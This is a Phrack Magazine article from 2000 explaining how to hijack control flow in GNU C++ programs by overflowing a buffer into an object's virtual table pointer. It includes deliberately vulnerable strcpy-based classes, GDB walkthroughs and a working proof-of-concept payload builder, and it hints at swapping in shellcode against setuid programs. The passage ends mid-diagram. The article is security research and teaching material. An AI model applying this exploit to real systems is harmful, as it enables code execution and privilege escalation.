home *** CD-ROM | disk | FTP | other *** search
Text File | 2000-12-24 | 54.9 KB | 1,389 lines |
- - P H R A C K M A G A Z I N E -
-
- Volume 0xa Issue 0x38
- 05.01.2000
- 0x08[0x10]
-
- |----------------------------- SMASHING C++ VPTRS ----------------------------|
- |-----------------------------------------------------------------------------|
- |-------------------------- rix <rix@securiweb.net> --------------------------|
-
-
- ----| Introduction
-
- At the present time, a widely known set of techniques instructs us how to
- exploit buffer overflows in programs usually written in C. Although C is
- almost ubiquitously used, we are seeing many programs also be written in C++.
- For the most part, the techniques that are applicable in C are available in
- C++ also, however, C++ can offer us new possibilities in regards to buffer
- overflows, mostly due to the use of object oriented technologies. We are
- going to analyze one of these possibilities, using the C++ GNU compiler,
- on an x86 Linux system.
-
-
- ----| C++ Backgrounder
-
- We can define a "class" as being a structure that contains data and a set of
- functions (called "methods"). Then, we can create variables based on this
- class definition. Those variables are called "objects". For example, we
- can have the following program (bo1.cpp):
-
-
- #include <stdio.h>
- #include <string.h>
-
- class MyClass
- {
- private:
- char Buffer[32];
- public:
- void SetBuffer(char *String)
- {
- strcpy(Buffer, String);
- }
- void PrintBuffer()
- {
- printf("%s\n", Buffer);
- }
- };
-
- void main()
- {
- MyClass Object;
-
- Object.SetBuffer("string");
- Object.PrintBuffer();
- }
-
-
- This small program defines a MyClass class that possesses 2 methods:
-
- 1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
- 2) A PrintBuffer() method, that displays the content of this buffer.
-
- Then, we define an Object object based on the MyClass class. Initially, we'll
- notice that the SetBuffer() method uses a *very dangerous* function to fill
- Buffer, strcpy()...
-
- As it happens, using object oriented programming in this simplistic example
- doesn't bring too many advantages. On the other hand, a mechanism very often
- used in object oriented programming is the inheritance mechanism. Let's
- consider the following program (bo2.cpp), using the inheritance mechanism
- to create 2 classes with distinct PrintBuffer() methods:
-
-
- #include <stdio.h>
- #include <string.h>
-
- class BaseClass
- {
- private:
- char Buffer[32];
- public:
- void SetBuffer(char *String)
- {
- strcpy(Buffer,String);
- }
- virtual void PrintBuffer()
- {
- printf("%s\n",Buffer);
- }
- };
-
- class MyClass1:public BaseClass
- {
- public:
- void PrintBuffer()
- {
- printf("MyClass1: ");
- BaseClass::PrintBuffer();
- }
- };
-
- class MyClass2:public BaseClass
- {
- public:
- void PrintBuffer()
- {
- printf("MyClass2: ");
- BaseClass::PrintBuffer();
- }
- };
-
- void main()
- {
- BaseClass *Object[2];
-
- Object[0] = new MyClass1;
- Object[1] = new MyClass2;
-
- Object[0]->SetBuffer("string1");
- Object[1]->SetBuffer("string2");
- Object[0]->PrintBuffer();
- Object[1]->PrintBuffer();
- }
-
- This program creates 2 distinct classes (MyClass1, MyClass2) which are
- derivatives of a BaseClass class. These 2 classes differ at the display level
- (PrintBuffer() method). Each has its own PrintBuffer() method, but they both
- call the original PrintBuffer() method (from BaseClass). Next, we have the
- main() function define an array of pointers to two objects of class BaseClass.
- Each of these objects is created, as derived from MyClass1 or MyClass2.
- Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
- Executing the program produces this output:
-
- rix@pentium:~/BO> bo2
- MyClass1: string1
- MyClass2: string2
- rix@pentium:~/BO>
-
- We now notice the advantage of object oriented programming. We have the
- same calling primitives to PrintBuffer() for two different classes! This is
- the end result from virtual methods. Virtual methods permit us to redefine
- newer versions of methods of our base classes, or to define a method of the
- base classes (if the base class is purely abstracted) in a derivative class.
- If we don't declare the method as virtual, the compiler would do the call
- resolution at compile time ("static binding"). To resolve the call at run
- time (because this call depends on the class of objects that we have in our
- Object[] array), we must declare our PrintBuffer() method as "virtual". The
- compiler will then use a dynamic binding, and will calculate the address for
- the call at run time.
-
-
- ----| C++ VPTR
-
- We are now going to analyze in a more detailed manner this dynamic binding
- mechanism. Let's take the case of our BaseClass class and its derivative
- classes.
-
- The compiler first browses the declaration of BaseClass. Initially, it
- reserves 32 bytes for the definition of Buffer. Then, it reads the
- declaration of the SetBuffer() method (not virtual) and it directly assigns
- the corresponding address in the code. Finally, it reads the declaration of
- the PrintBuffer() method (virtual). In this case, instead of doing a static
- binding, it does a dynamic binding, and reserves 4 bytes in the class (those
- bytes will contain a pointer). We have now the following structure:
-
- BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
-
- Where: B represents a byte of Buffer.
- V represents a byte of our pointer.
-
- This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an
- array of function pointers. Those point themselves to methods (relative to
- the class). There is one VTABLE for a class, that contains only pointers to
- all class methods. We now have the following diagram:
-
- Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
- =+==
- |
- +------------------------------+
- |
- +--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
-
- Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
- =+==
- |
- +------------------------------+
- |
- +--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
-
- Where: B represents a byte of Buffer.
- V represents a byte of the VPTR to VTABLE_MyClass1.
- W represents a byte of the VPTR to VTABLE_MyClass2.
- I represents various information bytes.
- P represents a byte of the pointer to the PrintBuffer() method of
- MyClass1.
- Q represents a byte of the pointer to the PrintBuffer() method of
- MyClass2.
-
- If we had a third object of MyClass1 class, for example, we would have:
-
- Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
-
- with VVVV that would point to VTABLE_MyClass1.
-
- We notice that the VPTR is located after our Buffer in the process's memory.
- As we fill this buffer via the strcpy() function, we easily deduct that we can
- reach the VPTR by filling the buffer!
-
- NOTE: After some tests under Windows, it appears that Visual C++ 6.0
- places the VPTR right at the beginning of the object, which prevents us from
- using this technique. On the other hand, C++ GNU places the VPTR at the end
- of the object (which is what we want).
-
-
- ----| VPTR analysis using GDB
-
- Now we will observe the mechanism more precisely, using a debugger. For this,
- we compile our program and run GDB:
-
- rix@pentium:~/BO > gcc -o bo2 bo2.cpp
- rix@pentium:~/BO > gdb bo2
- GNU gdb 4.17.0.11 with Linux support
- Copyright 1998 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i686-pc-linux-gnu"...
- (gdb) disassemble main
- Dump of assembler code for function main:
- 0x80485b0 <main>: pushl %ebp
- 0x80485b1 <main+1>: movl %esp,%ebp
- 0x80485b3 <main+3>: subl $0x8,%esp
- 0x80485b6 <main+6>: pushl %edi
- 0x80485b7 <main+7>: pushl %esi
- 0x80485b8 <main+8>: pushl %ebx
- 0x80485b9 <main+9>: pushl $0x24
- 0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
- 0x80485c0 <main+16>: addl $0x4,%esp
- 0x80485c3 <main+19>: movl %eax,%eax
- 0x80485c5 <main+21>: pushl %eax
- 0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
- 0x80485cb <main+27>: addl $0x4,%esp
- 0x80485ce <main+30>: movl %eax,%eax
- 0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
- 0x80485d3 <main+35>: pushl $0x24
- 0x80485d5 <main+37>: call 0x80487f0 <___builtin_new>
- 0x80485da <main+42>: addl $0x4,%esp
- 0x80485dd <main+45>: movl %eax,%eax
- 0x80485df <main+47>: pushl %eax
- 0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>
- 0x80485e5 <main+53>: addl $0x4,%esp
- 0x80485e8 <main+56>: movl %eax,%eax
- ---Type <return> to continue, or q <return> to quit---
- 0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)
- 0x80485ed <main+61>: pushl $0x8048926
- 0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
- 0x80485f5 <main+69>: pushl %eax
- 0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
- 0x80485fb <main+75>: addl $0x8,%esp
- 0x80485fe <main+78>: pushl $0x804892e
- 0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax
- 0x8048606 <main+86>: pushl %eax
- 0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc>
- 0x804860c <main+92>: addl $0x8,%esp
- 0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
- 0x8048612 <main+98>: movl 0x20(%eax),%ebx
- 0x8048615 <main+101>: addl $0x8,%ebx
- 0x8048618 <main+104>: movswl (%ebx),%eax
- 0x804861b <main+107>: movl %eax,%edx
- 0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
- 0x8048620 <main+112>: pushl %edx
- 0x8048621 <main+113>: movl 0x4(%ebx),%edi
- 0x8048624 <main+116>: call *%edi
- 0x8048626 <main+118>: addl $0x4,%esp
- 0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax
- 0x804862c <main+124>: movl 0x20(%eax),%esi
- 0x804862f <main+127>: addl $0x8,%esi
- ---Type <return> to continue, or q <return> to quit---
- 0x8048632 <main+130>: movswl (%esi),%eax
- 0x8048635 <main+133>: movl %eax,%edx
- 0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx
- 0x804863a <main+138>: pushl %edx
- 0x804863b <main+139>: movl 0x4(%esi),%edi
- 0x804863e <main+142>: call *%edi
- 0x8048640 <main+144>: addl $0x4,%esp
- 0x8048643 <main+147>: xorl %eax,%eax
- 0x8048645 <main+149>: jmp 0x8048650 <main+160>
- 0x8048647 <main+151>: movl %esi,%esi
- 0x8048649 <main+153>: leal 0x0(%edi,1),%edi
- 0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp
- 0x8048653 <main+163>: popl %ebx
- 0x8048654 <main+164>: popl %esi
- 0x8048655 <main+165>: popl %edi
- 0x8048656 <main+166>: movl %ebp,%esp
- 0x8048658 <main+168>: popl %ebp
- 0x8048659 <main+169>: ret
- 0x804865a <main+170>: leal 0x0(%esi),%esi
- End of assembler dump.
-
- Let's analyze, in a detailed manner, what our main() function does:
-
- 0x80485b0 <main>: pushl %ebp
- 0x80485b1 <main+1>: movl %esp,%ebp
- 0x80485b3 <main+3>: subl $0x8,%esp
- 0x80485b6 <main+6>: pushl %edi
- 0x80485b7 <main+7>: pushl %esi
- 0x80485b8 <main+8>: pushl %ebx
-
- The program creates a stack frame, then it reserves 8 bytes on the stack (this
- is our local Object[] array), that will contain 2 pointers of 4 bytes each,
- respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
- Object[1]. Next, it saves various registers.
-
- 0x80485b9 <main+9>: pushl $0x24
- 0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
- 0x80485c0 <main+16>: addl $0x4,%esp
-
- The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
- heap for our Object[0] and sends us back the address of these bytes reserved
- in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
- for our VPTR.
-
- 0x80485c3 <main+19>: movl %eax,%eax
- 0x80485c5 <main+21>: pushl %eax
- 0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
- 0x80485cb <main+27>: addl $0x4,%esp
-
- Here, we place the address of the object (contained in EAX) on the stack, then
- we call the __8MyClass1 function. This function is in fact the constructor of
- the MyClass1 class. It is necessary to also notice that in C++, all methods
- include an additional "secret" parameter. That is the address of the object
- that actually executes the method (the "This" pointer). Let's analyze
- instructions from this constructor:
-
- (gdb) disassemble __8MyClass1
- Dump of assembler code for function __8MyClass1:
- 0x8048690 <__8MyClass1>: pushl %ebp
- 0x8048691 <__8MyClass1+1>: movl %esp,%ebp
- 0x8048693 <__8MyClass1+3>: pushl %ebx
- 0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx
-
- EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
-
- 0x8048697 <__8MyClass1+7>: pushl %ebx
- 0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass>
- 0x804869d <__8MyClass1+13>: addl $0x4,%esp
-
- Here, we call the constructor of the BaseClass class.
-
- (gdb) disass __9BaseClass
- Dump of assembler code for function __9BaseClass:
- 0x8048700 <__9BaseClass>: pushl %ebp
- 0x8048701 <__9BaseClass+1>: movl %esp,%ebp
- 0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx
-
- EDX receives the pointer to the 36 reserved bytes ("This" pointer).
-
- 0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)
-
- The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
- Then, the __9BaseClass function extends a little farther. If we launch:
-
- (gdb) x/aw 0x08048958
- 0x8048958 <_vt.9BaseClass>: 0x0
-
- We observe that the value that is written in EDX+0x20 (the VPTR of the
- reserved object) receives the address of the VTABLE of the BaseClass class.
- Returning to the code of the MyClass1 constructor:
-
- 0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)
-
- It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends
- a little farther. Let's launch:
-
- (gdb) x/aw 0x08048948
- 0x8048948 <_vt.8MyClass1>: 0x0
-
- We observe that the VPTR is overwritten, and that it now receives the address
- of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a
- pointer to the object allocated in memory.
-
- 0x80485ce <main+30>: movl %eax,%eax
- 0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
-
- This pointer is placed in Object[0]. Then, the program uses the same mechanism
- for Object[1], evidently with different addresses. After all that
- initialization, the following instructions will run:
-
- 0x80485ed <main+61>: pushl $0x8048926
- 0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
- 0x80485f5 <main+69>: pushl %eax
-
- Here, we first place address 0x8048926 as well as the value of Object[0] on
- the stack ("This" pointer). Observing the 0x8048926 address:
-
- (gdb) x/s 0x08048926
- 0x8048926 <_fini+54>: "string1"
-
- We notice that this address contains "string1" that is going to be copied in
- Buffer via the SetBuffer() function of the BaseClass class.
-
- 0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
- 0x80485fb <main+75>: addl $0x8,%esp
-
- We call the SetBuffer() method of the BaseClass class. It is interesting to
- observe that the call of the SetBuffer method is a static binding (because it
- is not a virtual method). The same principle is used for the SetBuffer()
- method relative to Object[1].
-
- To verify that our 2 objects are correctly initialized at run time, we are
- going to install the following breakpoints:
-
- 0x80485c0: to get the address of the 1st object.
- 0x80485da: to get the address of the 2nd object.
- 0x804860f: to verify that initializations of objects took place well.
-
- (gdb) break *0x80485c0
- Breakpoint 1 at 0x80485c0
- (gdb) break *0x80485da
- Breakpoint 2 at 0x80485da
- (gdb) break *0x804860f
- Breakpoint 3 at 0x804860f
-
- Finally we run the program:
-
- Starting program: /home/rix/BO/bo2
- Breakpoint 1, 0x80485c0 in main ()
-
- While consulting EAX, we will have the address of our 1st object:
-
- (gdb) info reg eax
- eax: 0x8049a70 134519408
-
- Then, we continue to the following breakpoint:
-
- (gdb) cont
- Continuing.
- Breakpoint 2, 0x80485da in main ()
-
- We notice our second object address:
-
- (gdb) info reg eax
- eax: 0x8049a98 134519448
-
- We can now run the constructors and the SetBuffer() methods:
-
- (gdb) cont
- Continuing.
- Breakpoint 3, 0x804860f in main ()
-
- Let's notice that our 2 objects follow themselves in memory (0x8049a70 and
- 0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
- 4 bytes that have apparently been inserted between the 1st and the 2nd object.
- If we want to see these bytes:
-
- (gdb) x/aw 0x8049a98-4
- 0x8049a94: 0x29
-
- We observe that they contain the value 0x29. The 2nd object is also followed
- by 4 particular bytes:
-
- (gdb) x/xb 0x8049a98+32+4
- 0x8049abc: 0x49
-
- We are now going to display in a more precise manner the internal structure of
- each of our objects (now initialized):
-
- (gdb) x/s 0x8049a70
- 0x8049a70: "string1"
- (gdb) x/a 0x8049a70+32
- 0x8049a90: 0x8048948 <_vt.8MyClass1>
- (gdb) x/s 0x8049a98
- 0x8049a98: "string2"
- (gdb) x/a 0x8049a98+32
- 0x8049ab8: 0x8048938 <_vt.8MyClass2>
-
- We can display the content of the VTABLEs of each of our classes:
-
- (gdb) x/a 0x8048948
- 0x8048948 <_vt.8MyClass1>: 0x0
- (gdb) x/a 0x8048948+4
- 0x804894c <_vt.8MyClass1+4>: 0x0
- (gdb) x/a 0x8048948+8
- 0x8048950 <_vt.8MyClass1+8>: 0x0
- (gdb) x/a 0x8048948+12
- 0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1>
- (gdb) x/a 0x8048938
- 0x8048938 <_vt.8MyClass2>: 0x0
- (gdb) x/a 0x8048938+4
- 0x804893c <_vt.8MyClass2+4>: 0x0
- (gdb) x/a 0x8048938+8
- 0x8048940 <_vt.8MyClass2+8>: 0x0
- (gdb) x/a 0x8048938+12
- 0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>
-
- We see that the PrintBuffer() method is well the 4th method in the VTABLE of
- our classes. Next, we are going to analyze the mechanism for dynamic binding.
- It we will continue to run and display registers and memory used. We will
- execute the code of the function main() step by step, with instructions:
-
- (gdb) ni
-
- Now we are going to run the following instructions:
-
- 0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
-
- This instruction is going to make EAX point to the 1st object.
-
- 0x8048612 <main+98>: movl 0x20(%eax),%ebx
- 0x8048615 <main+101>: addl $0x8,%ebx
-
- These instructions are going to make EBX point on the 3rd address from the
- VTABLE of the MyClass1 class.
-
- 0x8048618 <main+104>: movswl (%ebx),%eax
- 0x804861b <main+107>: movl %eax,%edx
-
- These instructions are going to load the word at offset +8 in the VTABLE to
- EDX.
-
- 0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
- 0x8048620 <main+112>: pushl %edx
-
- These instructions add to EDX the offset of the 1st object, and place the
- resulting address (This pointer) on the stack.
-
- 0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)
- 0x8048624 <main+116>: call *%edi // run the code at EDI
-
- This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that
- is the address of the PrintBuffer() method of the MyClass1 class. Then, this
- method is executed. The same mechanism is used to execute the PrintBuffer()
- method of the MyClass2 class. Finally, the function main() ends a little
- farther, using a RET.
-
- We have observed a "strange handling", to point to the beginning of the object
- in memory, since we went to look for an offset word in VPTR+8 to add it to the
- address of our 1st object. This manipulation doesn't serve has anything in
- this precise case, because the value pointed by VPTR+8 was 0:
-
- (gdb) x/a 0x8048948+8
- 0x8048950 <_vt.8MyClass1+8>: 0x0
-
- However, this manipulation is necessary in several convenient cases. It is why
- it is important to notice it. We will come back besides later on this
- mechanism, because it will provoke some problems later.
-
-
- ----| Exploiting VPTR
-
- We are now going to try to exploit in a simple manner the buffer overflow.
- For it, we must proceed as this:
- - To construct our own VTABLE, whose addresses will point to the code that we
- want to run (a shellcode for example ;)
- - To overflow the content of the VPTR so that it points to our own VTABLE.
-
- One of the means to achieve it, is to code our VTABLE in the beginning of the
- buffer that we will overflow. Then, we must set a VPTR value to point back to
- the beginning of our buffer (our VTABLE). We can either place our shellcode
- directly after our VTABLE in our buffer, either place it after the value of the
- VPTR that we are going to overwrite.
- However, if we place our shellcode after the VPTR, it is necessary to be
- certain that we have access to this part of the memory, to not provoke
- segmentation faults.
- This consideration depends largely of the size of the buffer.
- A buffer of large size will be able to contain without problem a VTABLE and a
- shellcode, and then avoid all risks of segmentation faults.
- Let's remind ourselves that our objects are each time followed by a 4 bytes
- sequence (0x29, 0x49), and that we can without problems write our 00h (end of
- string) to the byte behind our VPTR.
-
- To check we are going to place our shellcode rightly before our VPTR.
- We are going to adopt the following structure in our buffer:
-
- +------(1)---<----------------+
- | |
- | ==+=
- SSSS ..... SSSS .... B ... CVVVV0
- ==+= =+== |
- | | |
- +----(2)--+->-------------+
-
- Where: V represents bytes of the address of the beginning of our buffer.
- S represents bytes of the address of our shellcode, here the address of
- C (address S=address V+offset VPTR in the buffer-1 in this case, because
- we have placed our shellcode rightly before the VPTR).
- B represents the possible bytes of any value alignment (NOPs:), to
- align the value of our VPTR on the VPTR of the object.
- C represents the byte of the shellcode, in this case, a simple CCh byte
- (INT 3), that will provoke a SIGTRAP signal.
- 0 represents the 00h byte, that will be at the end of our buffer (for
- strcpy() function).
-
- The number of addresses to put in the beginning of our buffer (SSSS) depends
- if we know or not the index in the VTABLE of the 1st method that will be
- called after our overflow:
- Either we knows this index, and then we writes the corresponding pointer.
- Either we doesn't know this index, and we generate a maximum number of
- pointers. Then, we hope the method that will be executed will use one of those
- overwritten pointers. Notice that a class that contains 200 methods isn't very
- usual ;)
- The address to put in VVVV (our VPTR) depends principally of the execution of
- the program.
- It is necessary to note here that our objects were allocated on the heap, and
- that it is difficult to know exactly their addresses.
-
- We are going to write a small function that will construct us a buffer.
- This function will receive 3 parameters:
- - BufferAddress: the address of the beginning of the buffer that we will
- overflow.
- - NAddress: the number of addresses that we want in our VTABLE.
-
- Here is the code of our BufferOverflow() function:
-
-
- char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
- char *Buffer;
- unsigned long *LongBuffer;
- unsigned long CCOffset;
- int i;
-
- Buffer=(char*)malloc(VPTROffset+4);
- // allocates the buffer.
-
- CCOffset=(unsigned long)VPTROffset-1;
- // calculates the offset of the code to execute in the buffer.
-
- for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
- // fills the buffer with 90h (NOP, old habit:)))
-
- LongBuffer=(unsigned long*)Buffer;
- // constructs a pointer to place addresses in our VTABLE.
-
- for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
- // fills our VTABLE at the beginning of the buffer with the address of the
- // shellcode.
-
- LongBuffer=(unsigned long*)&Buffer[VPTROffset];
- // constructs a pointeur on VPTR.
-
- *LongBuffer=BufferAddress;
- // value that will overwrite VPTR.
-
- Buffer[CCOffset]='\xCC';
- // our executable code.
-
- Buffer[VPTROffset+4]='\x00';
- // finishes by a 00h char (end string).
-
- return Buffer;
- }
-
-
- In our program we can now call our BufferOverflow() function, with as
- parameters:
- - the address of our buffer, here the address of our object (Object[0]).
- - 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
- - 32 as offset for VPTR.
- Here is the resulting code (bo3.cpp):
-
-
- #include <stdio.h>
- #include <string.h>
- #include <malloc.h>
-
- class BaseClass {
- private:
- char Buffer[32];
- public:
- void SetBuffer(char *String) {
- strcpy(Buffer,String);
- }
- virtual void PrintBuffer() {
- printf("%s\n",Buffer);
- }
- };
-
- class MyClass1:public BaseClass {
- public:
- void PrintBuffer() {
- printf("MyClass1: ");
- BaseClass::PrintBuffer();
- }
- };
-
- class MyClass2:public BaseClass {
- public:
- void PrintBuffer() {
- printf("MyClass2: ");
- BaseClass::PrintBuffer();
- }
- };
-
- char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
- char *Buffer;
- unsigned long *LongBuffer;
- unsigned long CCOffset;
- int i;
-
- Buffer=(char*)malloc(VPTROffset+4+1);
-
- CCOffset=(unsigned long)VPTROffset-1;
- for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
- LongBuffer=(unsigned long*)Buffer;
- for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
- LongBuffer=(unsigned long*)&Buffer[VPTROffset];
- *LongBuffer=BufferAddress;
- Buffer[CCOffset]='\xCC';
- Buffer[VPTROffset+4]='\x00';
- return Buffer;
- }
-
- void main() {
- BaseClass *Object[2];
-
- Object[0]=new MyClass1;
- Object[1]=new MyClass2;
- Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));
- Object[1]->SetBuffer("string2");
- Object[0]->PrintBuffer();
- Object[1]->PrintBuffer();
- }
-
-
- We compile, and we launch GDB:
-
- rix@pentium:~/BO > gcc -o bo3 bo3.cpp
- rix@pentium:~/BO > gdb bo3
- ...
- (gdb) disass main
- Dump of assembler code for function main:
- 0x8048670 <main>: pushl %ebp
- 0x8048671 <main+1>: movl %esp,%ebp
- 0x8048673 <main+3>: subl $0x8,%esp
- 0x8048676 <main+6>: pushl %edi
- 0x8048677 <main+7>: pushl %esi
- 0x8048678 <main+8>: pushl %ebx
- 0x8048679 <main+9>: pushl $0x24
- 0x804867b <main+11>: call 0x80488c0 <___builtin_new>
- 0x8048680 <main+16>: addl $0x4,%esp
- 0x8048683 <main+19>: movl %eax,%eax
- 0x8048685 <main+21>: pushl %eax
- 0x8048686 <main+22>: call 0x8048760 <__8MyClass1>
- 0x804868b <main+27>: addl $0x4,%esp
- 0x804868e <main+30>: movl %eax,%eax
- 0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)
- 0x8048693 <main+35>: pushl $0x24
- 0x8048695 <main+37>: call 0x80488c0 <___builtin_new>
- 0x804869a <main+42>: addl $0x4,%esp
- 0x804869d <main+45>: movl %eax,%eax
- 0x804869f <main+47>: pushl %eax
- 0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>
- 0x80486a5 <main+53>: addl $0x4,%esp
- 0x80486a8 <main+56>: movl %eax,%eax
- ---Type <return> to continue, or q <return> to quit---
- 0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)
- 0x80486ad <main+61>: pushl $0x20
- 0x80486af <main+63>: pushl $0x4
- 0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax
- 0x80486b4 <main+68>: pushl %eax
- 0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii>
- 0x80486ba <main+74>: addl $0xc,%esp
- 0x80486bd <main+77>: movl %eax,%eax
- 0x80486bf <main+79>: pushl %eax
- 0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax
- 0x80486c3 <main+83>: pushl %eax
- 0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc>
- 0x80486c9 <main+89>: addl $0x8,%esp
- 0x80486cc <main+92>: pushl $0x80489f6
- 0x80486d1 <main+97>: movl 0xfffffffc(%ebp),%eax
- 0x80486d4 <main+100>: pushl %eax
- 0x80486d5 <main+101>: call 0x8048790 <SetBuffer__9BaseClassPc>
- 0x80486da <main+106>: addl $0x8,%esp
- 0x80486dd <main+109>: movl 0xfffffff8(%ebp),%eax
- 0x80486e0 <main+112>: movl 0x20(%eax),%ebx
- 0x80486e3 <main+115>: addl $0x8,%ebx
- 0x80486e6 <main+118>: movswl (%ebx),%eax
- 0x80486e9 <main+121>: movl %eax,%edx
- 0x80486eb <main+123>: addl 0xfffffff8(%ebp),%edx
- ---Type <return> to continue, or q <return> to quit---
- 0x80486ee <main+126>: pushl %edx
- 0x80486ef <main+127>: movl 0x4(%ebx),%edi
- 0x80486f2 <main+130>: call *%edi
- 0x80486f4 <main+132>: addl $0x4,%esp
- 0x80486f7 <main+135>: movl 0xfffffffc(%ebp),%eax
- 0x80486fa <main+138>: movl 0x20(%eax),%esi
- 0x80486fd <main+141>: addl $0x8,%esi
- 0x8048700 <main+144>: movswl (%esi),%eax
- 0x8048703 <main+147>: movl %eax,%edx
- 0x8048705 <main+149>: addl 0xfffffffc(%ebp),%edx
- 0x8048708 <main+152>: pushl %edx
- 0x8048709 <main+153>: movl 0x4(%esi),%edi
- 0x804870c <main+156>: call *%edi
- 0x804870e <main+158>: addl $0x4,%esp
- 0x8048711 <main+161>: xorl %eax,%eax
- 0x8048713 <main+163>: jmp 0x8048720 <main+176>
- 0x8048715 <main+165>: leal 0x0(%esi,1),%esi
- 0x8048719 <main+169>: leal 0x0(%edi,1),%edi
- 0x8048720 <main+176>: leal 0xffffffec(%ebp),%esp
- 0x8048723 <main+179>: popl %ebx
- 0x8048724 <main+180>: popl %esi
- 0x8048725 <main+181>: popl %edi
- 0x8048726 <main+182>: movl %ebp,%esp
- 0x8048728 <main+184>: popl %ebp
- ---Type <return> to continue, or q <return> to quit---
- 0x8048729 <main+185>: ret
- 0x804872a <main+186>: leal 0x0(%esi),%esi
- End of assembler dump.
-
- Next, we install a breakpoint in 0x8048690, to get the address of our 1st
- object.
-
- (gdb) break *0x8048690
- Breakpoint 1 at 0x8048690
-
- And finally, we launch our program:
-
- (gdb) run
- Starting program: /home/rix/BO/bo3
- Breakpoint 1, 0x8048690 in main ()
-
- We read the address of our 1st object:
-
- (gdb) info reg eax
- eax: 0x8049b38 134519608
-
- Then we pursue, while hoping that all happens as foreseen... :)
-
- Continuing.
- Program received signal SIGTRAP, Trace/breakpoint trap.
- 0x8049b58 in ?? ()
-
- We receive a SIGTRAP well, provoked by the instruction preceding the 0x8049b58
- address. However, the address of our object was 0x8049b38.
- 0x8049b58-1-0x8049b38=0x1F (=31), which is exactly the offset of our CCh in our
- buffer. Therefore, it is well our CCh that has been executed!!!
- You understood it, we can now replace our simple CCh code, by a small
- shellcode, to get some more interesting results, especially if our program
- bo3 is suid... ;)
-
-
- Some variations about the method
- ================================
- We have explain here the simplest exploitable mechanism.
- Other more complex cases could possibly appear...
- For example, we could have associations between classes like this:
-
- class MyClass3 {
- private:
- char Buffer3[32];
- MyClass1 *PtrObjectClass;
- public:
- virtual void Function1() {
- ...
- PtrObjectClass1->PrintBuffer();
- ...
- }
- };
-
- In this case, we have a relation between 2 classes called "link by reference".
- Our MyClass3 class contains a pointer to another class. If we overflow the
- buffer in the MyClass3 class, we can overwrite the PtrObjectClass pointer. We
- only need to browse a supplementary pointer ;)
-
-
- +----------------------------------------------------+
- | |
- +-> VTABLE_MyClass3: IIIIIIIIIIIIRRRR |
- =+==
- MyClass3 object: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBPPPPXXXX
- ==+=
- |
- +---------------------<---------------------------+
- |
- +--> MyClass1 object: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCYYYY
- ==+=
- |
- +-------------------------------------------------------+
- |
